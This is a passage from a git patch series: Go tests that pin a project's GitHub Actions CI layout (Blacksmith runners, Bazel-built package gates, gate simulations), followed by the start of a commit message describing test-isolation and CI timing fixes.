!= "" && job.Name != wantName { + t.Errorf("%s %s name = %q, want %q", file, name, job.Name, wantName) + } + // F3: every job moved onto Blacksmith needs its own + // timeout-minutes - a hang there burns paid Blacksmith minutes, + // not just a free GitHub-hosted runner's default 360. + if job.TimeoutMinutes == 0 { + t.Errorf("%s %s has no timeout-minutes (now runs on Blacksmith for same-repo PRs)", file, name) + } + } + } + // No other job in pr.yml or pr-risk.yml may name a Blacksmith label: F4 + // adds one more (not in this slice's scope), but nothing here should. + for _, file := range []string{"pr.yml", "pr-risk.yml"} { + workflow := readCIWorkflow(t, file) + allowed := want[file] + for name, job := range workflow.Jobs { + if allowed[name] != "" { + continue + } + if strings.Contains(job.RunsOn, "blacksmith-") { + t.Errorf("%s job %s runs-on %q names a Blacksmith label; only %v may", file, name, job.RunsOn, allowed) + } + } + } +} + type bazelWorkflowCall struct { Inputs map[string]struct { Type string `yaml:"type"` @@ -2135,7 +2300,13 @@ func TestBazelLaneIsGatedAlongsideLegacy(t *testing.T) { wantBazelIDs = append(wantBazelIDs, r.retiredID) } for lane, id := range bazelLaneGateIDs { - wantBazelIDs = append(wantBazelIDs, id) + // F3: package-mcp/package-npm's ids (PACKAGE_MCP, PACKAGE_NPM) do not + // follow the "BAZEL" naming convention the prefix filter below + // groups by - they predate bazel.yml and keep their names - so they + // are checked here but excluded from wantBazelIDs. + if !bazelPackageJobs[lane] { + wantBazelIDs = append(wantBazelIDs, id) + } if want := "${{ needs.bazel.outputs." + lane + " || 'skipped' }}"; evaluate.Env[id] != want { t.Errorf("ci-gate env %s = %q, want %q", id, evaluate.Env[id], want) } @@ -2291,6 +2462,14 @@ func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string return map[string]bool{} } return map[string]bool{"remote": true, "cache": true} + case bazelPackageGatesIf: + // F3: unlike every other lane, these two never skip because of the + // rbe job's decision - only because the caller turned them off + // entirely (pr.yml always passes "on"). + if strings.EqualFold(with["package-gates"], "on") { + return map[string]bool{"remote": true, "cache": true, "local": true, "skip": true} + } + return map[string]bool{} } t.Fatalf("%s if = %q: teach bazelLaneRunModes which modes run it", lane, ifExpr) return nil @@ -2424,6 +2603,13 @@ func TestBazelGateSimulation(t *testing.T) { var wantSkips []string anyRuns := false for lane, modes := range lanes { + // F3: bazel-gate.sh's skip list and its BAZEL aggregate are + // mode-derived only; it has never heard of package-mcp/npm + // (their own PACKAGE_MCP/PACKAGE_NPM scenarios are exercised + // below, by lane, not through this script). + if bazelPackageJobs[lane] { + continue + } if modes[mode] { anyRuns = true } else if id, gated := bazelLaneGateIDs[lane]; gated { @@ -2697,6 +2883,7 @@ func TestBazelWorkflowActionsArePinned(t *testing.T) { } want := map[string]string{ setupNodeActionFamily: setupNodeSHA, + setupPythonActionFamily: setupPythonSHA, "actions/checkout": checkoutSHA, setupGoActionFamily: setupGoSHA, cacheRestoreActionFamily: cacheSHA, @@ -3975,9 +4162,13 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { func TestBazelRBEJobDecidesOnce(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) job := workflow.job(t, bazelRBEJobName) - if len(job.Needs) != 0 || job.If != "" || job.RunsOn != "ubuntu-latest" || len(job.Env) != 0 { - t.Errorf("%s: needs %v, if %q, runs-on %q, env %v; want no needs, if or env, on ubuntu-latest", - bazelRBEJobName, job.Needs, job.If, job.RunsOn, job.Env) + // F3: runs-on picks the *venue* (Blacksmith for trusted same-repo PRs, + // ubuntu-latest otherwise) - a separate concern from the RBE mode + // decision (remote/cache/local/skip), which still lives solely in the + // decide step's outputs below. + if len(job.Needs) != 0 || job.If != "" || job.RunsOn != wantRBERunsOn || len(job.Env) != 0 { + t.Errorf("%s: needs %v, if %q, runs-on %q, env %v; want no needs, if or env, on %q", + bazelRBEJobName, job.Needs, job.If, job.RunsOn, job.Env, wantRBERunsOn) } wantOutputs := map[string]string{ "enabled": "${{ steps.decide.outputs.enabled }}", @@ -4032,6 +4223,14 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { if key || !rederive.MatchString(value) || strings.HasPrefix(path, ".jobs."+bazelRBEJobName+".steps[0].env.") { return } + // F3: the rbe job's own runs-on picks a runner venue (Blacksmith vs + // ubuntu-latest) for trusted same-repo PRs; it shares some of the + // same trust predicates (github.actor, dependabot) as the mode + // decision but decides something else entirely (where the decide + // step runs, not what it decides) - not a re-derivation of mode. + if path == ".jobs."+bazelRBEJobName+".runs-on" { + return + } // The checkout opt-in for fork code (TestBazelWorkflowForkFarmInputs // pins it): a checkout input, not an execution-mode decision. if value == bazelAllowUnsafeCheckout && strings.HasSuffix(path, ".with.allow-unsafe-pr-checkout") { diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 5acb08934..60d8aaf0d 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -26,18 +26,12 @@ import ( const ( // The legacy jobs' if: not covered. - prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - // The package gates: they run whenever detection and the decision did, - // on build-artifacts' bd, or on Bazel's where build-artifacts stood down. - prPackageGateIf = "${{ !cancelled() && needs.detect-package-gates.result == 'success' && needs." + prRiskCoverageJobName + - ".result == 'success' && (needs." + prRiskCoverageJobName + ".outputs.pr_lanes == 'true' || needs.build-artifacts.result == 'success') }}" - prPackageGateArtifact = "${{ needs." + prRiskCoverageJobName + ".outputs.pr_lanes == 'true' && 'bazel-ci-build-artifacts' || 'ci-build-artifacts' }}" - prFingerprintJob = "test-dolt-server-fingerprint" - prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" - prAllowlistedStep = "Run the Go tests the Bazel lane skips" - prScriptsChecksJob = "scripts-go-checks" - prPackageBDCheck = "Check the Bazel-built bd exists" - prScriptsChecksID = "SCRIPTS_GO_CHECKS" + prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" + prFingerprintJob = "test-dolt-server-fingerprint" + prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" + prAllowlistedStep = "Run the Go tests the Bazel lane skips" + prScriptsChecksJob = "scripts-go-checks" + prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run in mode remote. bazelSoleRunEnv = "${{ needs.rbe.outputs.mode == 'remote' && '--config=sole-run' || '' }}" bazelSoleRunArg = `${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"}` @@ -45,9 +39,12 @@ const ( bazelSoleRunEvictionLine = "test:sole-run --experimental_remote_cache_eviction_retries=0" ) -// The package gates (consumers of build-artifacts' ci-build-artifacts that -// keep running where it stands down). -var prPackageGates = map[string]string{"package-mcp": "PACKAGE_MCP", "package-npm": "PACKAGE_NPM"} +// F3: the package gates moved into bazel.yml (package-mcp, package-npm); +// they depend only on the caller's package-gates input, not on +// bazel-coverage's decision or build-artifacts (TestPackageGateJobs). This +// map is only their CI_GATE_REQUIRED ids, for the gate-simulation scenarios +// below (pr.yml no longer has jobs by these names). +var prPackageGateIDs = map[string]string{"package-mcp": "PACKAGE_MCP", "package-npm": "PACKAGE_NPM"} // Each retired job's needs, exactly. var prLaneLegacyNeeds = map[string][]string{ @@ -172,9 +169,10 @@ func prLegacyJobResult(job string, sc bazelGateScenario) string { return "skipped" } } - if _, ok := prPackageGates[job]; ok && !decided { - return "skipped" - } + // F3: package-mcp/package-npm are bazel.yml call outputs now + // (needs.bazel.outputs.package-mcp), not pr.yml job results, so + // runPRGateStep never calls this helper for them - they are simulated + // through sc.outputs instead (see the scenario loop below). return "success" } @@ -211,25 +209,27 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { t.Errorf("pr.yml tier lanes = %v", tier.bazelLanes) } - // Only the retired jobs, the package gates and the gate read the - // decision; only they and the gate need build-artifacts. + // Only the retired jobs and the gate read the decision; only they and + // the gate need build-artifacts. The package gates moved into bazel.yml + // (F3) and never depend on this decision or on build-artifacts at all - + // they build bd for themselves, via Bazel or a go build fallback + // (TestPackageGateJobs). for name, job := range pr.Jobs { _, retired := tier.jobs[name] - _, pkg := prPackageGates[name] - if retired || pkg || name == "ci-gate" || name == prRiskCoverageJobName { + if retired || name == "ci-gate" || name == prRiskCoverageJobName { continue } if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { - t.Errorf("%s depends on %s; only the retired jobs and the package gates may", name, prRiskCoverageJobName) + t.Errorf("%s depends on %s; only the retired jobs may", name, prRiskCoverageJobName) } if contains(job.Needs, "build-artifacts") { - t.Errorf("%s needs build-artifacts, which stands down on covered PRs; take the artifact like the package gates do", name) + t.Errorf("%s needs build-artifacts, which stands down on covered PRs", name) } } - // Artifact consumers: the retired jobs read build-artifacts' artifact - // (they only run where it does); the package gates read Bazel's where - // it stood down. Nothing downloads by pattern or without a name. + // Artifact consumers: only the retired jobs read build-artifacts' + // artifact (they only run where it does). Nothing downloads by pattern + // or without a name. for name, job := range pr.Jobs { for _, step := range job.Steps { if !strings.HasPrefix(step.Uses, "actions/download-artifact@") { @@ -243,51 +243,15 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { if !strings.Contains(art, "ci-build-artifacts") { continue } - _, retired := tier.jobs[name] - _, pkg := prPackageGates[name] - switch { - case retired && art == "ci-build-artifacts": - case pkg && art == prPackageGateArtifact: - default: - t.Errorf("%s downloads %q; only the retired jobs (ci-build-artifacts) and the package gates (%s) may", name, art, prPackageGateArtifact) + if _, retired := tier.jobs[name]; !retired || art != "ci-build-artifacts" { + t.Errorf("%s downloads %q; only the retired jobs (ci-build-artifacts) may", name, art) } if step.With["path"] != "ci-build-artifacts" { t.Errorf("%s downloads into %q, want ci-build-artifacts (the layout its steps read)", name, step.With["path"]) } } } - for name, id := range prPackageGates { - job := pr.job(t, name) - want := []string{"detect-package-gates", "build-artifacts", prRiskCoverageJobName, "bazel"} - if job.If != prPackageGateIf || !reflect.DeepEqual([]string(job.Needs), want) { - t.Errorf("%s: if %q, needs %v; want if %q, needs %v", name, job.If, job.Needs, prPackageGateIf, want) - } - if dl := job.step(t, "Download build artifacts"); dl.With["name"] != prPackageGateArtifact { - t.Errorf("%s downloads %q, want %q", name, dl.With["name"], prPackageGateArtifact) - } - if v := job.step(t, "Verify build artifacts").Run; !strings.Contains(v, "sha256sum -c SHA256SUMS") || !strings.Contains(v, "chmod +x bd-linux-gms-pure") { - t.Errorf("%s no longer verifies the artifact:\n%s", name, v) - } - if !contains(required, id) { - t.Errorf("ci-gate does not require %s", id) - } - // Review L2: with the farm off (mode skip) on a covered PR, say why - // there is no bd before the download fails on a missing artifact. - check := job.step(t, prPackageBDCheck) - if check.If != "steps.applicability.outputs.run == 'true' && needs."+prRiskCoverageJobName+".outputs.pr_lanes == 'true'" || - !reflect.DeepEqual(check.Env, map[string]string{"BAZEL_RBE_MODE": "${{ needs.bazel.outputs.rbe-mode }}"}) || check.ContinueOnError != nil || - job.stepIndex(t, prPackageBDCheck) > job.stepIndex(t, "Download build artifacts") { - t.Errorf("%s step %q: if %q, env %v; want it before the download, on covered applicable runs, reading the call's mode", name, prPackageBDCheck, check.If, check.Env) - } - for mode, wantOK := range map[string]bool{"remote": true, "skip": false, "cache": false, "local": false, "": false} { - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", check.Run) - cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "BAZEL_RBE_MODE=" + mode} - out, err := cmd.CombinedOutput() - if (err == nil) != wantOK || (!wantOK && !(strings.Contains(string(out), "::error::") && strings.Contains(string(out), "BAZEL_PR_LANES_RETIRED"))) { - t.Errorf("%s bd check in mode %q: ok %v, want %v\n%s", name, mode, err == nil, wantOK, out) - } - } - } + testPackageGateJobs(t, required) // Bazel's artifact: bazel-test publishes it (always, after its tests) // under the name pr.yml passes, with build-artifacts' layout // (TestBazelWorkflowPublishesBuildArtifacts). @@ -353,17 +317,25 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { for _, res := range []string{"skipped", "failure", "cancelled"} { for _, job := range []string{prFingerprintJob, "package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) - sc.results = map[string]string{job: res} + // F3: package-mcp/package-npm are bazel.yml call outputs + // (needs.bazel.outputs.package-mcp), not pr.yml job + // results, so the gate simulation overrides sc.outputs for + // them instead of sc.results. + if _, pkg := prPackageGateIDs[job]; pkg { + sc.outputs[job] = res + } else { + sc.results = map[string]string{job: res} + } id := map[string]string{prFingerprintJob: prFingerprintID, "pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] if id == "" { - id = prPackageGates[job] + id = prPackageGateIDs[job] } add(fmt.Sprintf("covered=%s, %s %s", c, job, res), sc, false, id) } } } - // A failed decision: the retired jobs and the package gates skip - // through needs, and the gate is red. + // A failed decision: the retired jobs skip through needs (the package + // gates do not depend on the decision at all, F3), and the gate is red. for _, res := range []string{"failure", "cancelled", "skipped"} { sc := prGateFor(t, lanes, "pull_request", "remote", cov("")) sc.coverage = res @@ -391,6 +363,163 @@ func sortedKeys[V any](m map[string]V) []string { return out } +// F3: the package gates (bazel.yml's package-mcp, package-npm). They depend +// only on the caller turning package-gates on (never on bazel-coverage or +// build-artifacts: TestPRLegacyLanesDeferToBazelLanes already checked that +// nothing but the retired jobs reads either), build bd for themselves - via +// the Bazel lane's binary when the farm is up, a go build fallback +// otherwise (package-mcp.sh/package-npm.sh's prepare_bd_binary) - and are +// structurally identical apart from their language setup and `make` target. +// Their runs-on/if/needs/result-recorder are already pinned for every +// bazel.yml job by TestBazelWorkflowJobsAndExecutionMode and +// TestBazelLaneIsGatedAlongsideLegacy; this test pins the step-by-step +// detail those generic checks do not. +func testPackageGateJobs(t *testing.T, prGateRequired []string) { + t.Helper() + workflow := readCIWorkflow(t, bazelWorkflowName) + // main.yml's own package-mcp/package-npm jobs (nightly, not gated by + // rbe) run the same language setup; bazel.yml's copy must not drift + // from it. + mainWorkflow := readCIWorkflow(t, "main.yml") + type pkgLane struct { + job, detectOutput, langStepName, makeTarget string + } + lanes := []pkgLane{ + {bazelPackageMCPJobName, "mcp_package", "Set up Python", "make ci-package-mcp"}, + {bazelPackageNPMJobName, "npm_package", "Set up Node.js", "make ci-package-npm"}, + } + for _, lane := range lanes { + id := bazelLaneGateIDs[lane.job] + if !contains(prGateRequired, id) { + t.Errorf("ci-gate does not require %s (%s)", lane.job, id) + } + job, ok := workflow.Jobs[lane.job] + if !ok { + t.Fatalf("%s has no %s job", bazelWorkflowName, lane.job) + } + if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) || job.If != bazelPackageGatesIf || job.RunsOn != bazelPackageRunsOn { + t.Errorf("%s: needs %v, if %q, runs-on %q; want needs [%s], if %q, runs-on %q", + lane.job, job.Needs, job.If, job.RunsOn, bazelRBEJobName, bazelPackageGatesIf, bazelPackageRunsOn) + } + + detectCond := "steps.detect.outputs." + lane.detectOutput + " == 'true'" + detectIf := "${{ " + detectCond + " }}" + bazelPathIf := "${{ " + detectCond + " && needs." + bazelRBEJobName + ".outputs.enabled == 'true' }}" + fallbackIf := "${{ " + detectCond + " && needs." + bazelRBEJobName + ".outputs.enabled != 'true' }}" + wantNames := []string{ + "", // checkout (no name) + "Decide applicability", + "Set up Bazel", + "bazel build //cmd/bd:bd_for_tests", + "Package the Bazel-built bd", + "Set up Go", + "Restore Go module cache", + "Verify Go modules", + "Restore non-race Go build cache", + lane.langStepName, + } + if lane.job == bazelPackageMCPJobName { + wantNames = append(wantNames, "Install uv") + } + wantNames = append(wantNames, "Run "+map[string]string{bazelPackageMCPJobName: "MCP", bazelPackageNPMJobName: "npm"}[lane.job]+" package gate", "Record job result") + + var gotNames []string + for _, s := range job.Steps { + gotNames = append(gotNames, s.Name) + } + if !reflect.DeepEqual(gotNames, wantNames) { + t.Errorf("%s step names = %q, want %q", lane.job, gotNames, wantNames) + } + + checkout := job.Steps[0] + if checkout.Uses != "actions/checkout@"+checkoutSHA || checkout.With["fetch-depth"] != "0" { + t.Errorf("%s checkout = %+v; want fetch-depth 0 (detect-package-gates.sh diffs full history)", lane.job, checkout) + } + + detect := job.step(t, "Decide applicability") + wantDetectEnv := map[string]string{ + "PR_BASE_SHA": "${{ github.event.pull_request.base.sha }}", + "PR_HEAD_SHA": "${{ github.event.pull_request.head.sha }}", + "PUSH_BEFORE_SHA": "${{ github.event.before }}", + "PUSH_AFTER_SHA": "${{ github.sha }}", + } + if detect.ID != "detect" || detect.Run != "./scripts/ci/detect-package-gates.sh" || !reflect.DeepEqual(detect.Env, wantDetectEnv) { + t.Errorf("%s detect step: id %q, run %q, env %v; want id detect, run ./scripts/ci/detect-package-gates.sh, env %v", + lane.job, detect.ID, detect.Run, detect.Env, wantDetectEnv) + } + + // The Bazel-built-bd path: gated on the farm being up, in addition + // to detection. No --config=ci (only test:ci exists). The explicit + // --@rules_go//go/config:race matches test:ci's top-level build + // setting, so bd_for_tests' race="off" transition lands in the same + // output directory and action-cache key `bazel test --config=ci` + // already populated (verified with cquery against origin/main + // e2b78f7d7a: both configs cquery to the identical + // bazel-out/k8-fastbuild-ST-.../bin/cmd/bd/bd_for_tests/bd path). + buildStep := job.step(t, "bazel build //cmd/bd:bd_for_tests") + if buildStep.If != bazelPathIf || buildStep.Run != `bazel build --@rules_go//go/config:race //cmd/bd:bd_for_tests --remote_download_regex='.*/bin/cmd/bd/bd_for_tests/bd$'` { + t.Errorf("%s bazel build step: if %q, run %q; want if %q", lane.job, buildStep.If, buildStep.Run, bazelPathIf) + } + pkgBD := job.step(t, "Package the Bazel-built bd") + if pkgBD.If != bazelPathIf || !strings.Contains(pkgBD.Run, `./scripts/ci/package-bazel-bd.sh "$RUNNER_TEMP/bd-artifacts"`) || + !strings.Contains(pkgBD.Run, "BEADS_TEST_BD_BINARY=$RUNNER_TEMP/bd-artifacts/bd-linux-gms-pure") { + t.Errorf("%s package-the-Bazel-built-bd step: if %q, run %q", lane.job, pkgBD.If, pkgBD.Run) + } + // F3 review NIT-5: nothing past this step needs the Bazel server or + // its RBE client key (uv sync/pytest/npm install run PR-controlled + // code), so both are torn down here, defense in depth. + if !strings.Contains(pkgBD.Run, "bazel shutdown") || !strings.Contains(pkgBD.Run, `rm -rf "$RUNNER_TEMP/bazel-ci-secret"`) { + t.Errorf("%s package-the-Bazel-built-bd step does not shut down Bazel and remove the RBE client key: run %q", lane.job, pkgBD.Run) + } + setupBazel := job.step(t, "Set up Bazel") + if setupBazel.If != bazelPathIf || setupBazel.Uses != "./"+setupBazelActionDir { + t.Errorf("%s Set up Bazel: if %q, uses %q; want if %q", lane.job, setupBazel.If, setupBazel.Uses, bazelPathIf) + } + + // The go-build-fallback path: gated on detection and the farm being + // down; it restores caches but never sets BEADS_TEST_BD_BINARY, so + // prepare_bd_binary() falls back to `go build`. + for _, name := range []string{"Set up Go", "Restore Go module cache", "Verify Go modules", "Restore non-race Go build cache"} { + if st := job.step(t, name); st.If != fallbackIf { + t.Errorf("%s step %q: if %q, want %q", lane.job, name, st.If, fallbackIf) + } + } + + // The language setup and the gate command run whenever detection + // did, whichever bd path provided the binary. + if st := job.step(t, lane.langStepName); st.If != detectIf { + t.Errorf("%s step %q: if %q, want %q", lane.job, lane.langStepName, st.If, detectIf) + } + + // The language setup itself must not drift from main.yml's copy of + // the same job (python-version / Node version / the uv install + // command): main.yml's jobs are ungated by rbe, so they are the one + // other place this exact setup is pinned. + mainJob := mainWorkflow.job(t, lane.job) + langStep := job.step(t, lane.langStepName) + mainLangStep := mainJob.step(t, lane.langStepName) + if langStep.Uses != mainLangStep.Uses || !reflect.DeepEqual(langStep.With, mainLangStep.With) { + t.Errorf("%s %q: uses %q, with %v; main.yml's %s has uses %q, with %v", + lane.job, lane.langStepName, langStep.Uses, langStep.With, lane.job, mainLangStep.Uses, mainLangStep.With) + } + if lane.job == bazelPackageMCPJobName { + installUv := job.step(t, "Install uv") + mainInstallUv := mainJob.step(t, "Install uv") + if installUv.Run != mainInstallUv.Run { + t.Errorf("%s Install uv: run %q; main.yml's has run %q", lane.job, installUv.Run, mainInstallUv.Run) + } + } + gateName := "Run " + map[string]string{bazelPackageMCPJobName: "MCP", bazelPackageNPMJobName: "npm"}[lane.job] + " package gate" + gate := job.step(t, gateName) + if gate.If != detectIf || gate.Run != lane.makeTarget { + t.Errorf("%s gate step: if %q, run %q; want if %q, run %q", lane.job, gate.If, gate.Run, detectIf, lane.makeTarget) + } + if job.stepIndex(t, gateName) != len(job.Steps)-2 { + t.Errorf("%s gate step is not the last step before the result recorder", lane.job) + } + } +} + // The Dolt server fingerprint (container image vs the pinned dolt CLI the // Bazel dolt-server lanes start) runs on every PR in its own required job, // whatever bazel-coverage says, and nowhere else in pr.yml. diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 06e6fb3f4..6b50f2127 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -271,9 +271,12 @@ func workflowEnv(t *testing.T, name string) map[string]string { func TestPRRiskBazelCoverageJob(t *testing.T) { risk := readCIWorkflow(t, prRiskWorkflowName) job := risk.job(t, prRiskCoverageJobName) - if len(job.Needs) != 0 || job.If != "" || job.RunsOn != "ubuntu-latest" || len(job.Env) != 0 || job.ContinueOnError || job.TimeoutMinutes == 0 { - t.Errorf("%s: needs %v, if %q, runs-on %q, env %v, continue-on-error %v, timeout %d; want no needs, if, env or continue-on-error, ubuntu-latest, a timeout", - prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes) + // F3: this job moved to Blacksmith for same-repo PRs (and merge_group); + // forks and Dependabot stay on ubuntu-latest (TestSameRepoBlacksmithRunners + // pins the same literal for pr.yml's copy). + if len(job.Needs) != 0 || job.If != "" || job.RunsOn != sameRepoBlacksmith2vcpu || len(job.Env) != 0 || job.ContinueOnError || job.TimeoutMinutes == 0 { + t.Errorf("%s: needs %v, if %q, runs-on %q, env %v, continue-on-error %v, timeout %d; want no needs, if, env or continue-on-error, on %q, a timeout", + prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes, sameRepoBlacksmith2vcpu) } wantOutputs := map[string]string{} wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "DEPENDABOT": prRiskDependabotValue} @@ -332,6 +335,15 @@ func TestPRRiskBazelCoverageJob(t *testing.T) { if secretRef.MatchString(value) { t.Errorf("%s: %s reads secrets (%q); PR Risk needs none", prRiskWorkflowName, path, value) } + // F3: detect-ci-tier/bazel-coverage/ci-gate's own runs-on picks a + // runner venue (Blacksmith vs ubuntu-latest) for trusted same-repo + // PRs; it shares some predicates (github.actor, dependabot, + // head.repo.full_name) with the coverage decision but decides + // something else entirely - not a re-derivation of the decision + // (TestSameRepoBlacksmithRunners pins the literal). + if strings.HasSuffix(path, ".runs-on") && value == sameRepoBlacksmith2vcpu { + return + } if facts.MatchString(value) && !strings.HasPrefix(path, stepEnv) && !strings.HasPrefix(path, ".jobs."+prRiskCoverageJobName+".steps[0].run") { t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs", prRiskWorkflowName, path, value, prRiskCoverageJobName) } From ef988df84b769b9eb4030b67b59467eabca58cee Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 3 Oct 2026 04:18:14 -0700 Subject: [PATCH 049/325] fix(ci,tests): un-hide TestEmbedded* tests, fence cmd/bd tests from ancestor .beads, cut #7051 race long poles, fix main lint (#7128) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(lint): drop unparam findings in primeGitCmd and expandStep primeGitCmd's error return was always nil (GH#4927 made every path infallible but left the signature); drop it and update both call sites. expandStep's depth parameter was always called with 0 from every caller; recursion depth is tracked internally by expandStepWith via its own depth+1 calls on children, so the parameter was dead. Hardcode the 0 start inside expandStep and drop the parameter. Fixes golangci-lint unparam findings: cmd/bd/prime.go:306:67: primeGitCmd - result 1 (error) is always nil internal/formula/expand.go:197:49: expandStep - depth always receives 0 make ci-pr-lint is clean (native + windows/amd64 + darwin/arm64 non-CGO). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(dolt): give each TestBatchApplyContract subtest its own context TestBatchApplyContract's subtests all shared one 90s context built once in newDoltBatchApplyFixture. BoundsTheItemCount legitimately needs most of that budget against the server-Dolt tier (ApplyBatchInTx's create path calls ExecuteCreate once per item, ~5-8 round trips each, for all 1000 items at the MaxApplyBatchItems bound raised by #7051). Once earlier subtests had spent part of the shared budget, BoundsTheItemCount would blow the deadline and every subtest that ran after it in the same parent would fail too with "context deadline exceeded", masking the real failure behind unrelated red subtests (nightly run 37089445362, shard 2/16: BoundsTheItemCount at 78.9s, deadline exceeded). Give each t.Run its own fresh testContext(t) instead of sharing one, mirroring openStoreWithOwnBudget's established rationale for the same bug class (be-gvnsq). The store and its copy-on-write branch stay shared across subtests, and subtests still run in sequence; only the per-subtest deadline is decoupled. No production code changed: the underlying per-item round-trip cost is genuine, documented, deliberate behavior (see applyCreate's doc comment), and batching it safely would be a larger, riskier change than this CI flake warrants. Verified via bazel --nohome_rc test --config=doltserver-integration //internal/storage/dolt:dolt_server_full_test --test_filter=TestBatchApplyContract -t- --test_output=all: shard 2/16 (same shard as the original failure) now passes, TestBatchApplyContract in 77.68s with BoundsTheItemCount at 66.08s. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(embeddeddolt): skip redundant 1000-item wall-clock case under -race TestLargeBatchApplyWallClock_Embedded's 1000-item shape was taking 597-651s under --config=embedded (-race), inflated by race-instrumenting the in-process Dolt engine's own internal goroutine/lock machinery on every statement issueops.ApplyBatchInTx issues. The Dolt server (TCP) tier doesn't pay this cost: its sql-server runs in a separate, non-raced subprocess (dolt_race_off), but the embedded backend runs Dolt entirely inside this test binary, so -race instruments all of it. This pushed the embedded-storage CI lane's shard 5 over its 19-minute per-shard test timeout (panic: test timed out after 19m0s). The 1000-item case carries no pass/fail assertion on duration or count (the test is explicitly a logging-only measurement, not a regression gate), so skipping it under race removes no coverage. Real 1000-item (issueops.MaxApplyBatchItems) correctness coverage is unaffected: it still runs and is asserted by TestBatchApplyContract/BoundsTheItemCount in this same package, under the same race lane. Adds the established raceEnabled build-tag pair (see internal/workapi and cmd/bd for the sibling idiom) to this package so the skip can be conditioned on -race. Verified via Bazel (--config=embedded, --nohome_rc): TestLargeBatchApplyWallClock_Embedded: 651.23s -> 86.79s (1000 now SKIPped; 356 still runs and passes) Shard 5 of embeddeddolt_embedded_test: FAIL -> PASS Not fixed in this commit: TestBatchApplyContract/BoundsTheItemCount's embedded instantiation still takes ~903-945s under -race and leaves shard 4 of embeddeddolt_embedded_test over its 19-minute budget. Unlike the wall-clock test, that subtest carries real correctness assertions via the shared backend/conformance.RunBatchApplyBoundsTheItemCount, and shrinking it would require a cross-backend conformance-test design decision (e.g. a per-fixture item-count override) that trades away real MaxApplyBatchItems boundary coverage for one backend - judged out of scope for an isolated test-only fix here. Flagging for a deliberate follow-up rather than weakening the assertion to make it fast. TestLargeBatchApplyStatementCounts_Embedded and the dolt-tier TestLargeBatchApplyStatementCounts_Dolt were checked and left untouched: neither includes the 1000-item shape, neither showed any slowness or flakiness, and both pin exact statement-count regression baselines that should not be disturbed without cause. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(cmd/bd): fence test-binary beads/git discovery against ancestor .beads cmd/bd's test binary ambiently discovers its beads workspace the same way production bd does: via internal/beads.FindBeadsDir's worktree-fallback and ancestor-walk logic. When this package's checkout is itself a linked git worktree (e.g. a sibling checkout like beads-bazel-y next to beads), the first cached git-context call made anywhere in the test binary - before any individual test has had a chance to chdir into its own isolated fixture - permanently answers isWorktree=true/a real --git-common-dir for the rest of the process. beads.FindBeadsDir then treats that as license to read (and tests that don't isolate properly could write) the main checkout's shared .beads database. Confirmed via direct reproduction in a disposable scratch main+worktree pair under /data/tmp (never /data/projects/beads): running a correctly-built `bd --version` from the worktree checkout's cmd/bd directory resolves and warns about the fake main checkout's .beads permissions, demonstrating the fallback is reachable from plain ambient discovery, not just from a contrived unit test. internal/git.PinNoRepositoryForTesting seeds the process-wide git context cache with a "not a git repository" sentinel as the first statement of testMainInner, making the worktree-fallback vector inert by default. Tests that need real git behavior for a fixture they control already call git.ResetCaches/beads.ResetCaches after chdir'ing there (the existing cmd/bd/git_test_helpers.go idiom), which overrides the pin for their own scope - this is unchanged. Separately, testMainInner now appends (never overwrites) a BEADS_CEILING_DIRECTORIES entry for the package's own repo root, bounding any literal ancestor-directory walk that starts at or under this checkout - closing a second vector (an ancestor walk escaping past a nested worktree root into a directory-with-.beads further up) that the pin alone doesn't address. The existing pollution guard is extended to also watch the worktree-fallback .beads directory (resolved via a direct, cache-independent git shell-out) as a defense-in-depth detection backstop. Verified via two full before/after `go test -tags "cgo integration" -v .` runs of cmd/bd in a disposable linked-worktree scratch clone: identical pass/fail sets before and after (no regressions), and zero filesystem writes observed (inotify-monitored) in the scratch main checkout's .beads in either run - the existing subprocess test helpers already discipline themselves to set an explicit cmd.Dir/BEADS_DIR, so no currently-live test was caught actively polluting the fallback directory in this repro. This change is defense-in-depth against the mechanism itself (and against regressions reintroducing it), rather than a fix for an empirically isolated failing test in the current suite. Co-Authored-By: Claude Sonnet 5 * fix(ci): make embedded-dolt and go:embed tests discoverable by their CI shards embedded-test-shard.sh discovers cmd/bd's embedded-dolt 